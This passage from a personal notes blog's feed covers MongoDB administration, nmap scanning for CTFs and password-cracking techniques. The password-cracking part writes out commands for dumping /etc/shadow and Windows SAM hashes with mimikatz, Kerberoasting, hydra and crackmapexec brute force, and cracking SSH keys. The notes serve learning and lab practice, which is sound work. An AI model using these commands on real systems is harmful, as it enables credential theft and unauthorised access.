<li>new in MongoDB 5.0</li>
<li>data that changes over time, but also has a key that doesn&rsquo;t change, focus on unchanging parameters.</li>
<li>keeps metadata ata points in time.</li>
<li>store data at a given time and keep measuring and tracking that.</li>
<li>e.g. stock data -&gt; stock symbol doesn&rsquo;t change and metadata track every 30 seconds.</li>
<li>building out chart to do analysis, data is already optimized for those queries later.</li>
</ul>
<h2 id="server-administration">server administration</h2>
<h3 id="mongodb-config-file">MongoDB config file</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">mongod --config<span class="o">=</span>advanced.cfg
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="c"># mongod.conf</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">systemLog</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">destination</span><span class="p">:</span><span class="w"> </span><span class="l">file</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">path</span><span class="p">:</span><span class="w"> </span><span class="l">/usr/local/var/log/mongodb/mongo.log</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">logAppend</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">storage</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">dbPath</span><span class="p">:</span><span class="w"> </span><span class="l">/usr/local/var/mongodb</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">net</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">bindIp</span><span class="p">:</span><span class="w"> </span><span class="m">127.0.0.1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">port</span><span class="p">:</span><span class="w"> </span><span class="m">27017</span><span class="w">
</span></span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="c"># advanced.cfg</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">systemLog</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">destination</span><span class="p">:</span><span class="w"> </span><span class="l">file</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">path</span><span class="p">:</span><span class="w"> </span><span class="l">/var/log/mongodb/mongo.log</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">logAppend</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">storage</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">dbPath</span><span class="p">:</span><span class="w"> </span><span class="l">/store/db</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">directoryPerDB</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">net</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">bindIp</span><span class="p">:</span><span class="w"> </span><span class="m">127.0.0.1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">port</span><span class="p">:</span><span class="w"> </span><span class="m">27017</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">maxIncomingConnections</span><span class="p">:</span><span class="w"> </span><span class="m">65536</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">processManagement</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">fork</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w"> </span><span class="c"># default false</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">security</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">authorization</span><span class="p">:</span><span class="w"> </span><span class="l">enabled</span><span class="w"> </span><span class="c"># role-based</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">javascriptEnabled</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">replication</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">replSetName</span><span class="p">:</span><span class="w"> </span><span class="l">cookerSet</span><span class="w">
</span></span></span></code></pre></div><h3 id="replication">replication</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ mongod --replSet cookingSet --dbpath<span class="o">=</span>/store/data/rs1 --port <span class="m">27017</span> <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>  --smallfiles --oplogSize <span class="m">200</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">$ mongod --replSet cookingSet --dbpath<span class="o">=</span>/store/data/rs2 --port <span class="m">27018</span> <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>  --smallfiles --oplogSize <span class="m">200</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">$ mongo --port <span class="m">28018</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">&gt; <span class="nv">config</span> <span class="o">=</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  _id: <span class="s1">&#39;cookingSet&#39;</span>,
</span></span><span class="line"><span class="cl">  members: <span class="o">[</span>
</span></span><span class="line"><span class="cl">    <span class="o">{</span>_id: 0, host: <span class="s1">&#39;localhost:27017&#39;</span><span class="o">}</span>,
</span></span><span class="line"><span class="cl">    <span class="o">{</span>_id: 1: host: <span class="s1">&#39;localhost:27018&#39;</span><span class="o">}</span>
</span></span><span class="line"><span class="cl">  <span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">&gt; rs.initiate<span class="o">(</span>config<span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">cookingSet:PRIMARY&gt; rs.status<span class="o">()</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># connection string</span>
</span></span><span class="line"><span class="cl">$ mongo <span class="s2">&#34;mongodb://localhost:27017,localhost:27018/?replicaSet=cookingSet&#34;</span>
</span></span></code></pre></div><h3 id="sharding">sharding</h3>
<ul>
<li>takes data and breaks it up/partitioning data amongst multiple servers.</li>
<li>with MongoDB, data auto shard is possible.</li>
<li>not that hard, but it is more complicated</li>
<li>don&rsquo;t do it if you don&rsquo;t need to.</li>
<li>scale-out as your data grows using sharding.</li>
</ul>
<p>
  
  <input type="checkbox" id="zoomCheck-717e3" hidden />
  <label for="zoomCheck-717e3">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/basic-sharding.webp"
      alt="Basic Sharding"
       />
  </label>
</p>
<h3 id="authentication-and-authorization">authentication and authorization</h3>
<ul>
<li>logging in and limiting access</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># change user</span>
</span></span><span class="line"><span class="cl">&gt; use admin<span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># create user</span>
</span></span><span class="line"><span class="cl">&gt; db.createUser<span class="o">(</span>
</span></span><span class="line"><span class="cl">  <span class="o">{</span>
</span></span><span class="line"><span class="cl">    user: <span class="s2">&#34;foo&#34;</span>,
</span></span><span class="line"><span class="cl">    pwd: passwordPrompt<span class="o">()</span>,
</span></span><span class="line"><span class="cl">    roles: <span class="o">[</span>
</span></span><span class="line"><span class="cl">      <span class="o">{</span>
</span></span><span class="line"><span class="cl">        role: <span class="s2">&#34;userAdminAnyDatabase&#34;</span>,
</span></span><span class="line"><span class="cl">        db: <span class="s2">&#34;admin&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="o">}</span>,
</span></span><span class="line"><span class="cl">      <span class="s2">&#34;readWriteAnyDatabase&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="o">]</span>
</span></span><span class="line"><span class="cl">  <span class="o">}</span>
</span></span><span class="line"><span class="cl"><span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">&gt; db.adminCommand<span class="o">({</span> shutdown: <span class="m">1</span> <span class="o">})</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">&gt; mongo --authenticationDatabase <span class="s2">&#34;admin&#34;</span> -u <span class="s2">&#34;foo&#34;</span> -p
</span></span><span class="line"><span class="cl">or
</span></span><span class="line"><span class="cl">&gt; use admin<span class="p">;</span>
</span></span><span class="line"><span class="cl">&gt; db.auth<span class="o">(</span><span class="s2">&#34;foo&#34;</span>, passwordPrompt<span class="o">())</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">Enter password:
</span></span><span class="line"><span class="cl"><span class="m">1</span> <span class="c1"># Successful logged in.</span>
</span></span></code></pre></div><h3 id="backup">backup</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># lock against writes.</span>
</span></span><span class="line"><span class="cl">&gt; db.fsyncLock<span class="o">()</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">cp -R /data/db/* ../path/to/backup
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">&gt; db.fsyncUnlock<span class="o">()</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># downside =&gt; expected downtime.</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">&gt; mongodump
</span></span><span class="line"><span class="cl">&gt; mongorestore
</span></span></code></pre></div><h2 id="resources">resources</h2>
<ul>
<li></li>
<li><a href="https://github.com/LinkedInLearning/introduction-to-mongodb-4315215/tree/main/collections">https://github.com/LinkedInLearning/introduction-to-mongodb-4315215/tree/main/collections</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Nmap Basics for Capture The Flag (CTF)</title>
      <link>https://sagarchamling.com/notes/nmap-basic-for-capture-the-flag-ctf/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/nmap-basic-for-capture-the-flag-ctf/</guid>
      <description>Understand different options used in Nmap to scan targets</description>
      <content:encoded><![CDATA[<h2 id="intro">Intro</h2>
<p><code>nmap</code> is Network Mapper used for network discovery and security auditing. Nmap can be used for enumeration to identify open ports and services. <strong>Enumeration</strong> in Cybersecurity is information gathering technique.</p>
<blockquote>
<p>Some of the scripts in this category are considered intrusive and should not be run against a target network without permission.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Active host, network discovery</span>
</span></span><span class="line"><span class="cl">sudo nmap -sn 10.10.0.0/24
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Scan all ports, takes longer.</span>
</span></span><span class="line"><span class="cl">sudo nmap -p- &lt;target-ip-addr&gt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Enable version detection, name and description of identified services.</span>
</span></span><span class="line"><span class="cl">sudo nmap -sV &lt;target-ip-addr&gt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Performs a script scan using the default set of scripts</span>
</span></span><span class="line"><span class="cl">sudo nmap -sC &lt;target-ip-addr&gt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Aggressive scan.</span>
</span></span><span class="line"><span class="cl">nmap -A &lt;target-ip-addr&gt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Aggressive, OS detection, Time Template Aggressive, Scan for vulnerability.</span>
</span></span><span class="line"><span class="cl">nmap -A -O -T4 --script<span class="o">=</span>vuln &lt;target-ip-addr&gt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Version, perform script, 5000 packets per second, all ports</span>
</span></span><span class="line"><span class="cl">nmap -sV -sC -T4 –min-rate <span class="m">5000</span> -p- &lt;target-ip-addr&gt;
</span></span></code></pre></div><blockquote>
<p>RFC 9293 states that: &ldquo;If the connection is CLOSED or doesn&rsquo;t exists, then a RST is sent in response.&rdquo;</p>
</blockquote>
<h3 id="ping-sweep">ping sweep</h3>
<p>For black box penetration testing, &ldquo;ping sweep&rdquo; become very handy to map network structure with active IP address of hosts. Nmap provides <code>-sn</code> switch followed by IP range or CIDR notation to perform it.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">nmap -sn 10.0.0.1-254
</span></span><span class="line"><span class="cl">or
</span></span><span class="line"><span class="cl">nmap -sn 10.10.0.0/24
</span></span></code></pre></div><h3 id="nmap-options">Nmap Options</h3>
<table>
<thead>
<tr>
<th>Options</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>-sS</td>
<td>TCP SYN scan</td>
</tr>
<tr>
<td>-sT</td>
<td>TCP connect scan</td>
</tr>
<tr>
<td>-sU</td>
<td>UDP scans</td>
</tr>
<tr>
<td>-sN; -sF; -sX</td>
<td>TCP NULL, FIN, and Xmas scans, used for firewall evasion. Microsoft Windows/Cisco devices respond with a RST to any malformed TCP packet</td>
</tr>
<tr>
<td>-sC</td>
<td>Performs a script scan using the default set of scripts. It is equivalent to &ndash;script=default.</td>
</tr>
<tr>
<td>-sV</td>
<td>Enables version detection, which will detect what versions are running on what port.</td>
</tr>
<tr>
<td>-O; &ndash;osscan-guess; &ndash;fuzzy</td>
<td>Enable OS detection, guess near-match possibilities</td>
</tr>
<tr>
<td>-A</td>
<td>Aggressive Scan. Presently this enables OS detection (-O), version scanning (-sV), script scanning (-sC) and traceroute (&ndash;traceroute)</td>
</tr>
<tr>
<td>-p-</td>
<td>This flag scans for all TCP ports ranging from 0-65535</td>
</tr>
<tr>
<td>-p <port-ranges></td>
<td>Scan specified ports</td>
</tr>
<tr>
<td>&ndash;min-rate &lt;no. packet/sec&gt;</td>
<td>This is used to specify the minimum number of packets Nmap should send per second; it speeds up the scan as the number goes higher</td>
</tr>
</tbody>
</table>
<h3 id="timing-templates">Timing Templates</h3>
<table>
<thead>
<tr>
<th>T0</th>
<th>T1</th>
<th>T2</th>
<th>T3</th>
<th>T4</th>
<th>T5</th>
</tr>
</thead>
<tbody>
<tr>
<td>Paranoid</td>
<td>Sneaky</td>
<td>Polite</td>
<td>Normal</td>
<td>Aggressive</td>
<td>Insane</td>
</tr>
</tbody>
</table>
<h2 id="understanding-network-traffic">Understanding Network Traffic</h2>
<p>Changing the TCP connection options in nmap or using browser changes the type of network traffic in Wireshark. Differentiating all network scan traffic:</p>
<ul>
<li><strong>Browser</strong>:
The network traffic captured shows full TCP handshake (<code>SYN, SYN-ACK, ACK</code>) for each new TCP connection. This is because the browser is establishing a full connection to retrieve the requested web page.</li>
<li>Nmap Scan with <strong><code>-sS</code></strong> (TCP SYN Scan):
The network traffic sent is (<code>SYN, SYN-ACK</code>). If nmap receives SYN-ACK then it indicates the port is open. There is no complete handshake with an ACK packet instead Nmap immediately sends an <code>RST</code> packet to close the connection referred to as (a half-open scan). This makes the scan faster and less likely to be logged by the target system.</li>
<li>Nmap Scan with <strong><code>-sT</code></strong> (TCP Connect Scan):
The network traffic sent is a full TCP connection (<code>SYN, SYN-ACK, ACK</code>) with each target port. This type of scan is more likely to be logged by the target system because it establishes a full connection</li>
</ul>
<h2 id="understanding-nse">Understanding NSE</h2>
<p>The Nmap Scripting Engine (NSE) is a powerful reconnaissance tool used for vulnerabilities scan, automating exploits.</p>
<p>Some categories include (Reference: <a href="https://tryhackme.com/room/furthernmap">TryHackMe</a>):</p>
<table>
<thead>
<tr>
<th>category</th>
<th>description</th>
</tr>
</thead>
<tbody>
<tr>
<td>safe</td>
<td>Won&rsquo;t affect the target</td>
</tr>
<tr>
<td>intrusive</td>
<td><strong>Not safe</strong>: likely to affect the target</td>
</tr>
<tr>
<td>vuln</td>
<td>Scan for vulnerabilities</td>
</tr>
<tr>
<td>exploit</td>
<td>Attempt to exploit a vulnerability</td>
</tr>
<tr>
<td>auth</td>
<td>Attempt to bypass authentication for running services (e.g. Log into an FTP server anonymously)</td>
</tr>
<tr>
<td>brute</td>
<td>Attempt to bruteforce credentials for running services</td>
</tr>
<tr>
<td>discovery</td>
<td>Attempt to query running services for further information about the network (e.g. query an SNMP server).</td>
</tr>
</tbody>
</table>
<h2 id="references">References</h2>
<ul>
<li><a href="https://nmap.org/book/performance-timing-templates.html">https://nmap.org/book/performance-timing-templates.html</a></li>
<li><a href="https://nmap.org/nsedoc/categories/vuln.html">https://nmap.org/nsedoc/categories/vuln.html</a></li>
<li><a href="https://nmap.org/book/nse-usage.html">https://nmap.org/book/nse-usage.html</a></li>
<li><a href="https://mohomedarfath.medium.com/nmap-tryhackme-room-level-1-level-7-41ba9ff689ae">https://mohomedarfath.medium.com/nmap-tryhackme-room-level-1-level-7-41ba9ff689ae</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Password Cracking Tools and Techniques</title>
      <link>https://sagarchamling.com/notes/password-cracking-tools-and-techniques/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/password-cracking-tools-and-techniques/</guid>
      <description>Use of different tools to used for cracking password</description>
      <content:encoded><![CDATA[<h2 id="intro">Intro</h2>
<h3 id="dictionary-attacks">Dictionary Attacks</h3>
<blockquote>
<p>CeWL (Custom Word List generator) is a ruby app which spiders a given URL, up to a specified depth, and returns a list of words which can then be used for password crackers such as John the Ripper.</p>
</blockquote>
<table>
<thead>
<tr>
<th>Type</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>John The Ripper</td>
<td>/usr/share/john/password.lst</td>
</tr>
<tr>
<td>Rock You</td>
<td>/usr/share/wordlists/rockyou.txt.gz</td>
</tr>
</tbody>
</table>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">locate wordlists
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">gzip -d /usr/share/wordlists/rockyou.txt.gz rockyou.txt
</span></span><span class="line"><span class="cl">or
</span></span><span class="line"><span class="cl">gunzip /usr/share/wordlists/rockyou.txt.gz rockyou.txt
</span></span></code></pre></div><h2 id="exploration">Exploration</h2>
<h3 id="linux">Linux</h3>
<p>In Linux, the <code>/etc/passwd</code> file contains potentially important metadata in the GECOS field, including full name, room number, work phone, home phone, and others. Linux stores password hashes in the <code>/etc/shadow</code> file, which is why you need to use the sudo command to view it.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">cat /etc/passwd
</span></span><span class="line"><span class="cl">sudo cat /etc/shadow
</span></span></code></pre></div><p>The <code>unshadow</code> utility combines the /etc/passwd and /etc/shadow files. This is done so that John the Ripper can attempt to crack the password with information from both files, using a single file.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo unshadow /etc/passwd /etc/shadow &gt; combined.txt
</span></span></code></pre></div><h2 id="exploitation">Exploitation</h2>
<h3 id="linux-password">Linux Password</h3>
<blockquote>
<p>Kali Linux 2021.1 changed the hash function for passwords from sha512crypt (listed as $6$ in the /etc/shadow file) to yescrypt (listed as $y$ in the /etc/shadow file).</p>
</blockquote>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo adduser vulnuser <span class="o">(</span>room number: 8848.86 password vulnuser8848.86<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [Your First Name] user a password of [Your Second Name] (you will not</span>
</span></span><span class="line"><span class="cl"><span class="c1"># see anything on the screen when you type the password).</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Press ENTER for all the subsequent prompts</span>
</span></span><span class="line"><span class="cl"><span class="c1"># (Full Name, Room Number, Work Phone, Home Phone, and Other) until the</span>
</span></span><span class="line"><span class="cl"><span class="c1"># last prompt, which asks “Is the information correct? [Y/n].</span>
</span></span></code></pre></div><h4 id="john-the-ripper">John The Ripper</h4>
<blockquote>
<p>John the Ripper will not attempt to crack a password it has already cracked.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># By the time you are reading this, support for the $y$ hashes might</span>
</span></span><span class="line"><span class="cl"><span class="c1"># be incorporated into John the Ripper, which would mean you could</span>
</span></span><span class="line"><span class="cl"><span class="c1"># leave off --format=crypt for some speedup</span>
</span></span><span class="line"><span class="cl">sudo john --wordlist<span class="o">=</span>/usr/share/john/password.lst --format<span class="o">=</span>crypt combined.txt
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># See all passwords already cracked.</span>
</span></span><span class="line"><span class="cl">sudo john --show --format<span class="o">=</span>crypt combined.txt
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># To remove remembered password.</span>
</span></span><span class="line"><span class="cl">sudo rm /root/.john/john.pot
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># By default single crack mode, uses the GECOS field, without wordlist.</span>
</span></span><span class="line"><span class="cl">sudo john --format<span class="o">=</span>crypt combined.txt
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">sudo john --wordlist<span class="o">=</span>/usr/share/wordlists/rockyou.txt --format<span class="o">=</span>crypt combined.txt
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo john --wordlist<span class="o">=</span>/usr/share/wordlists/rockyou.txt --format<span class="o">=</span>Raw-SHA256 faiz.txt
</span></span></code></pre></div><h4 id="hydra">hydra</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Target FTP</span>
</span></span><span class="line"><span class="cl">hydra -L username.txt -P /usr/share/wordlists/rockyou.txt ftp &lt;target-ip-addr&gt; -vV
</span></span><span class="line"><span class="cl">  -L username file
</span></span><span class="line"><span class="cl">  -l username
</span></span><span class="line"><span class="cl">  -P password file
</span></span><span class="line"><span class="cl">  -p password
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Target SSH</span>
</span></span><span class="line"><span class="cl">hydra -l &lt;username&gt; -P /usr/share/wordlists/rockyou.txt ssh://&lt;target-ip-addr&gt; -vV
</span></span></code></pre></div><h3 id="windows-password">Windows Password</h3>
<p>Creating user:</p>
<ul>
<li>Click the <strong>Start</strong> button or in the search box, type <strong>Computer Management</strong>, and select <strong>Computer Management</strong>. This opens the <strong>Computer Management Console</strong>.</li>
<li>Expand <strong>Local Users and Groups</strong> in the pane at the left.</li>
<li>Click <strong>Users</strong> to see all the current local user accounts.</li>
<li>Right-click on a blank area in the right pane and select <strong>New User</strong>.</li>
<li>Fill in the fields, creating a four-digit password with just lowercase letters.</li>
<li>Clear the checkbox next to User Must Change Password At Next Logon and click the <strong>Create</strong></li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="n">reg</span> <span class="n">save</span> <span class="n">hklm</span><span class="p">\</span><span class="n">SAM</span> <span class="n">sam</span><span class="p">.</span><span class="py">hiv</span>
</span></span><span class="line"><span class="cl"><span class="n">reg</span> <span class="n">save</span> <span class="n">hklm</span><span class="p">\</span><span class="n">SYSTEM</span> <span class="n">system</span><span class="p">.</span><span class="py">hiv</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">mimikatz</span>
</span></span><span class="line"><span class="cl"><span class="p">&gt;</span> <span class="n">privilege</span><span class="p">::</span><span class="n">debug</span>
</span></span><span class="line"><span class="cl"><span class="p">&gt;</span> <span class="n">token</span><span class="p">::</span><span class="n">elevate</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># Send the next command’s output to a text file called hashes.txt:</span>
</span></span><span class="line"><span class="cl"><span class="p">&gt;</span> <span class="n">log</span> <span class="n">hashes</span><span class="p">.</span><span class="py">txt</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># Output the usernames and hashes for all accounts on the system:</span>
</span></span><span class="line"><span class="cl"><span class="p">&gt;</span> <span class="n">lsadump</span><span class="p">::</span><span class="n">sam</span> <span class="n">sam</span><span class="p">.</span><span class="py">hiv</span> <span class="n">system</span><span class="p">.</span><span class="py">hiv</span>
</span></span></code></pre></div><p>e.g. windowshashes.txt</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">Beatles:5be2f274f2f80c5d4d0c597f023f4f61::::
</span></span><span class="line"><span class="cl">StarWars:b7c899154197e8a2a33121d76a240ab5::::
</span></span></code></pre></div><h4 id="getuserspnspy">GetUserSPNs.py</h4>
<blockquote>
<p>Note: If there is misconfigured account, we can obtain the credentials from Active Directory using <code>GetUserSPNs</code>.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">impacket-GetUserSPNs -dc-ip &lt;dc-ip-addr&gt; &lt;host&gt;.local/&lt;user&gt;:&lt;pass&gt; -request
</span></span></code></pre></div><blockquote>
<p>If error: <code>Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)</code> you need to synchronize the host with the Domain Controller time.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Download from here https://sourceforge.net/projects/openrdate/</span>
</span></span><span class="line"><span class="cl">tar -xvzf opendate-1.2.tar.gz
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">cd</span> opendate
</span></span><span class="line"><span class="cl">./configure
</span></span><span class="line"><span class="cl">make
</span></span><span class="line"><span class="cl">make install
</span></span><span class="line"><span class="cl">rdate -n &lt;domain-controller-ip&gt;
</span></span></code></pre></div><h4 id="john-the-ripper-1">John The Ripper</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Brute force of 4 character.</span>
</span></span><span class="line"><span class="cl">sudo crunch <span class="m">4</span> <span class="m">4</span> <span class="p">|</span> sudo john --format<span class="o">=</span>NT windowshashes.txt --stdin
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">sudo john --format<span class="o">=</span>NT windowhashes.txt
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">sudo john --show --format<span class="o">=</span>NT windowshashes.txt
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">john --format<span class="o">=</span>krb5tgs --wordlist<span class="o">=</span>password.txt hash.kerberoast
</span></span></code></pre></div><h4 id="crackmapexec">crackmapexec</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Generating passwords. e.g. (ADMINISTRATOR1996)</span>
</span></span><span class="line"><span class="cl">crunch <span class="m">18</span> <span class="m">18</span> -t ^ADMINISTRATOR19%% &gt; passwords.txt
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">crackmapexec winrm &lt;target-ip-addr&gt; -u Administrator -p passlist
</span></span></code></pre></div><h4 id="hashcat">hashcat</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">hashcat -m <span class="m">13100</span> --force -a <span class="m">0</span> hash.kerberoast password.txt <span class="c1"># -m refers to hash type</span>
</span></span></code></pre></div><h3 id="ssh-pass-key">SSH Pass key</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">python /usr/share/john/ssh2john.py id_rsa &gt; ssh_hash.txt
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">john --wordlist<span class="o">=</span>/usr/share/wordlists/rockyou.txt ssh_hash.txt
</span></span><span class="line"><span class="cl">or
</span></span><span class="line"><span class="cl">john ssh_hash.txt
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Avoid Unprotected Warning</span>
</span></span><span class="line"><span class="cl">chmod <span class="m">600</span> id_rsa
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">ssh -i id_rsa user@&lt;target-ip-addr&gt;
</span></span></code></pre></div><h2 id="window-remote-management-winrm">Window Remote Management (WinRM)</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">gem install evil-winrm
